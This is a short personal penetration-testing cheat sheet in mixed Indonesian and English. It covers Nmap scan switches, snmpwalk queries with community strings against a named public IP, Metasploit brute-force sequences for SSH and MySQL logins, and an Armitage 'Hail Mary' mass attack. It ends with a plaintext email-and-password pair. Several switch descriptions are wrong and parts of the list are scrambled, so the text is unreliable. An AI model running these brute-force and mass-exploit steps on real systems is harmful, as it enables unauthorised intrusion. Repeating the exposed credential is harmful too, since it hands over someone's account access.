Penetration Testing (oleh Desmond)

Nmap Scanning Switches:

1. Network Scan (Ping Scan)
nmap -sS 192.168.4.1/24
nmap -sP 192.168.4.1/24
2. SYN Stealth Scan -> nmap -sS 192.168.2.(X)
3. TCP SYN Connect -> Scan nmap -sT 192.168.2.(X)
4. NullScan -> nmap -Pn (IP Address)
5. Specific Port Scan -> nmap -sT (IP or Domain) -p 21,80,3389
6. Timing Scan -> nmap -sT -T
4.Sneaky, 5. Paranoid

1 (IP or Domain) Keterangan : 1. Normal, 2. Aggresive, 3. Insane,

2
3
4
5
7. Operating Scan OS-Scan -> nmap -O (IP or Domain)
8. View Filtered and Open Port Scan -> nmap -sV (IP or Domain)
#namp -sU (IP or Domain) -p 161

#snmpwalk -c public -v1 1.9.38.70

#snmpwalk -c tmdirect -v1 1.9.38.70
#snmpwalk -c tmdirect -v1 1.9.38.70 | tee router
tee router atau > router maksudnya simpan data sbg router

Nuku Nmap Advance/Mahir Detail

URL Tutorial:
1. http://idecapung.blogspot.com/2009/10/hacking-dengan-nmap.html
#tcptraceroute (IP or Domain)

#unicornscan -r500 (IP or Domain)/24: port

Contoh Jebol Linux:
#msfconsole -> command metasploit
>show options
> set RHOST (IP or Domain)
>exploit

SSH Bruteforce:
#msfconsole
#use auxiliary/scannser/ssh/ssh_login
#show options
#set RHOSTS 192.168.1.1
#set THREADS 1000
#set USERPASS_FILE /root/password.txt
#set STOP_ON_SUCCESS false
#run

how to make password file:

#touch /root/password.txt
#vi /root/password.txt

MySQL Bruteforce:

#msfconsole
#use auxiliary/scannser/mysql/mysql_login
#show options
#set RHOSTS 192.168.1.1
#set THREADS 1000

#set USERPASS_FILE /root/password.txt

#set STOP_ON_SUCCESS false
#run

#use exploit/
#show options
#set RHOSTS 192.168.1.1
#set THREADS 1000
#set USERPASS_FILE /root/password.txt
#set STOP_ON_SUCCESS false
#run

#service postgresql start

#service metasploit start
#armitage &
GUI muncul
#Host -> Add Hosts
#Host -> MSF Scans
#Attack -> Hail Mary

#ettercap -G
*SolarWinds - Network Bandwidth Analyzer
*Spacework

*Program Green SQL utk menangkis SQL Injection

*Steganography:
-NTFS -> ADS method
-Steganogram
-Stegdetect

*Countermeasure:
1. Choose your Compliance Standard -> ISO27001, COBIT5, COSO, Sarbanes Oxley
2. P.D.C.A process
3. Due Care (Policy->1.Risk Assesment, 2.Risk Management, 3.Mitigation Startegy Procedure,
Guidline) & Due Dilligence (Technical)
=============================================================
========================================
1. Penetration Testing -> Black Box Testing
2. Vulnerability Assesment
3. Contigency Planning : a. IRP (mTD), b. DRP (Preventive measure), c. CCP (Insurance)
4. Audit & Monitoring
=============================================================
========================================
Network Tool:
1. pfSense
2. Snortby
3. tripware -> program untuk cek file setup/instalai asli atau sudah ada perubahan
4. MyDLP -> Aplikasi utk cek apa aja yg di copy-paste

user : fcch064@foresec.org
pass : Qwerty123$